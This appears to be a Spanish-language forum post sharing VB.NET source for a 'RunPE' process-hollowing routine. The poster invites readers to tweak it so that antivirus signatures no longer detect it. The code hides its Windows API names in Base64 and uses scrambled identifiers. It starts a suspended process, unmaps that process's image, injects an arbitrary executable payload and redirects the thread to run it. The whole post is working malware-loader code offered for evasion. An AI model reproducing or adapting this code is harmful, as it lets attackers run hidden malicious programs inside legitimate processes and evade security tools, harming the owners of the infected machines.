aqui un runpe que me en encontre espero que a alguien le sirva nomas lo retocas un poco y seguro se van varias firmas
Imports System.Runtime.InteropServices
Imports System.Text
Public Class oryaotcdprg
Declare Function LoadLibraryA Lib "kernel32" (ByVal name As String) As IntPtr
Declare Function GetProcAddress Lib "kernel32" (ByVal handle As IntPtr, ByVal name As String) As IntPtr
Function jivofuiusrivdaayypa(Of T)(ByVal name As String, ByVal method As String) As T
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), method), GetType(T)), Object), T)
End Function
Delegate Function oryaotcdprgwryyj(ByVal qjichljhensvpgbl As String, ByVal svgsjecywvnpzjxbh As StringBuilder, ByVal caogzckybfidwchvxp As IntPtr, ByVal kogaefcjuvojbyewon As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal jllvrosfxryixaabrinu As Boolean, ByVal ptschcolnyuvbkxn As Integer, ByVal awhnqfdgdzfxnlolci As IntPtr, ByVal iqfsrycodpclhnkvbh As String, ByVal ohniejyvqwbtepuj As Byte(), ByVal vhstttnthdbcucaeyn As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function hliicgsvwtnagoussl(ByVal qtywsbvthjqeoorparc As IntPtr, ByVal hpaqpxpudrvbdxtaw As IntPtr, ByVal khpxiejrlgbaqcphrjly As Byte(), ByVal jghjdyehfrlodszbxwo As UInteger, ByVal zwxoeeqgcjfkiuwwy As Integer) As Boolean
Delegate Function slnrccruxqpbqrdavrks(ByVal quskopeagxqqdegsuxo As IntPtr, ByVal atfjaogvownyfojuppyk As IntPtr, ByRef wpzvfqadrdkzizxl As IntPtr, ByVal iqxzwdcudtsiwcwjlpx As Integer, ByRef yvitpzfugzrxdhelc As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function ofuncwyyigkqczlhgs(ByVal lyiahcoyhswsvfuajkwq As IntPtr, ByVal jyckceufbuqzrekbyfw As IntPtr, ByVal uqxlhjryyoavliena As IntPtr, ByVal lywzkzwuysgdvtnlahn As Integer, ByVal wzbdyhxrdxqldwxi As Integer) As IntPtr
Delegate Function lohvkzniwbpoyuoetk(ByVal pvancrggqcebvcdoj As IntPtr, ByVal jfceewtsbwbgffwgyffr As IntPtr) As UInteger 'ntdll
Delegate Function nyodfajvrvlyijul(ByVal ncojqxbtwhjffcqaqakj As IntPtr) As UInteger
Delegate Function khglvylxvuvyfefva(ByVal ilaxpvxigzyopiunitcr As IntPtr, ByVal nedrcqltdwiaipjsye As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function jaxesqoxpirwjffeag(ByVal cbhjiwjysyiybpbnecsz As IntPtr, ByVal rvhqjuxegkqznrbl As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Public Function yogfzazwfatjogas(ByVal gyifplflchqwzptrji As Byte(), ByVal ljcpewfhatobiccdidha As String) As Boolean
Dim aengjhtyrhytcvzg As oryaotcdprgwryyj = jivofuiusrivdaayypa(Of oryaotcdprgwryyj)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")))
Dim pgtgawaakcgpzakny As khglvylxvuvyfefva = jivofuiusrivdaayypa(Of khglvylxvuvyfefva)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")))
Dim pkxtdiutzgeutsbz As slnrccruxqpbqrdavrks = jivofuiusrivdaayypa(Of slnrccruxqpbqrdavrks)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")))
Dim xagnqgtblgpvtezecxv As ofuncwyyigkqczlhgs = jivofuiusrivdaayypa(Of ofuncwyyigkqczlhgs)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")))
Dim zwcouxxoajrankcgzq As hliicgsvwtnagoussl = jivofuiusrivdaayypa(Of hliicgsvwtnagoussl)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")))
Dim ejzllcuqdvtihwldl As jaxesqoxpirwjffeag = jivofuiusrivdaayypa(Of jaxesqoxpirwjffeag)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")))
Dim zlzycfesnvdzhvcsyc As nyodfajvrvlyijul = jivofuiusrivdaayypa(Of nyodfajvrvlyijul)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")))
Dim orsnxoauodouzewnurox As lohvkzniwbpoyuoetk = jivofuiusrivdaayypa(Of lohvkzniwbpoyuoetk)(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")))
Try
Dim wxoxzqoqnfjiaklkpz As IntPtr = IntPtr.Zero
Dim xrrfdjlzpvcjwvpjcd As IntPtr() = New IntPtr(3) {}
Dim vqzhajjjcreyviegsb As Byte() = New Byte(67) {}
Dim xrsxberchawqvzxis As Integer = BitConverter.ToInt32(gyifplflchqwzptrji, 60)
Dim dkccqvwurbpbivlfjaa As Integer = BitConverter.ToInt16(gyifplflchqwzptrji, xrsxberchawqvzxis + 6)
Dim udixwzxetfenhnbza As New IntPtr(BitConverter.ToInt32(gyifplflchqwzptrji, xrsxberchawqvzxis + &H54))
If aengjhtyrhytcvzg(Nothing, New StringBuilder(ljcpewfhatobiccdidha), wxoxzqoqnfjiaklkpz, wxoxzqoqnfjiaklkpz, False, 4, wxoxzqoqnfjiaklkpz, Nothing, vqzhajjjcreyviegsb, xrrfdjlzpvcjwvpjcd) Then
Dim uxggigsbkeffjcldi As UInteger() = New UInteger(178) {}
uxggigsbkeffjcldi(0) = &H10002
If pgtgawaakcgpzakny(xrrfdjlzpvcjwvpjcd(1), uxggigsbkeffjcldi) Then
Dim rflkbtskeripfavuoqaw As New IntPtr(uxggigsbkeffjcldi(&H29) + 8L)
Dim yenwgcaiondekucdgfr As IntPtr = IntPtr.Zero
Dim orjyxqkephbxptpsy As New IntPtr(4)
Dim piwaltxucrqllsiksha As IntPtr = IntPtr.Zero
If pkxtdiutzgeutsbz(xrrfdjlzpvcjwvpjcd(0), rflkbtskeripfavuoqaw, yenwgcaiondekucdgfr, CInt(orjyxqkephbxptpsy), piwaltxucrqllsiksha) AndAlso (orsnxoauodouzewnurox(xrrfdjlzpvcjwvpjcd(0), yenwgcaiondekucdgfr) = 0) Then
Dim ugtovkqkkdvalbtx As New IntPtr(BitConverter.ToInt32(gyifplflchqwzptrji, xrsxberchawqvzxis + &H34))
Dim badnftfejvsdkllwh As New IntPtr(BitConverter.ToInt32(gyifplflchqwzptrji, xrsxberchawqvzxis + 80))
Dim xrldqrefougqyidad As IntPtr = xagnqgtblgpvtezecxv(xrrfdjlzpvcjwvpjcd(0), ugtovkqkkdvalbtx, badnftfejvsdkllwh, &H3000, &H40)
Dim knhhlktdjgcfhjeni As Integer
knhhlktdjgcfhjeni = xrldqrefougqyidad.ToInt32
Dim vtkphuuxftqltpegp As Integer
zwcouxxoajrankcgzq(xrrfdjlzpvcjwvpjcd(0), xrldqrefougqyidad, gyifplflchqwzptrji, CUInt(CInt(udixwzxetfenhnbza)), vtkphuuxftqltpegp)
Dim gappcqxidhetquzdraj As Integer = dkccqvwurbpbivlfjaa - 1
For fsutgbdhwzvzvxcwxd As Integer = 0 To gappcqxidhetquzdraj
Dim kgilhlotydjzkvbee As Integer() = New Integer(9) {}
Buffer.BlockCopy(gyifplflchqwzptrji, (xrsxberchawqvzxis + &HF8) + (fsutgbdhwzvzvxcwxd * 40), kgilhlotydjzkvbee, 0, 40)
Dim tybdzzukvutatjhr As Byte() = New Byte((kgilhlotydjzkvbee(4) - 1)) {}
Buffer.BlockCopy(gyifplflchqwzptrji, kgilhlotydjzkvbee(5), tybdzzukvutatjhr, 0, tybdzzukvutatjhr.Length)
badnftfejvsdkllwh = New IntPtr(knhhlktdjgcfhjeni + kgilhlotydjzkvbee(3))
ugtovkqkkdvalbtx = New IntPtr(tybdzzukvutatjhr.Length)
zwcouxxoajrankcgzq(xrrfdjlzpvcjwvpjcd(0), badnftfejvsdkllwh, tybdzzukvutatjhr, CUInt(ugtovkqkkdvalbtx), vtkphuuxftqltpegp)
Next
badnftfejvsdkllwh = New IntPtr(uxggigsbkeffjcldi(&H29) + 8L)
ugtovkqkkdvalbtx = New IntPtr(4)
zwcouxxoajrankcgzq(xrrfdjlzpvcjwvpjcd(0), badnftfejvsdkllwh, BitConverter.GetBytes(xrldqrefougqyidad.ToInt32()), CUInt(ugtovkqkkdvalbtx), vtkphuuxftqltpegp)
uxggigsbkeffjcldi(&H2C) = CUInt(xrldqrefougqyidad.ToInt32() + BitConverter.ToInt32(gyifplflchqwzptrji, xrsxberchawqvzxis + 40))
ejzllcuqdvtihwldl(xrrfdjlzpvcjwvpjcd(1), uxggigsbkeffjcldi)
End If
End If
zlzycfesnvdzhvcsyc(xrrfdjlzpvcjwvpjcd(1))
End If
Catch
Return False
End Try
Return True
End Function
End Class
autor: simon-benyo
Saludos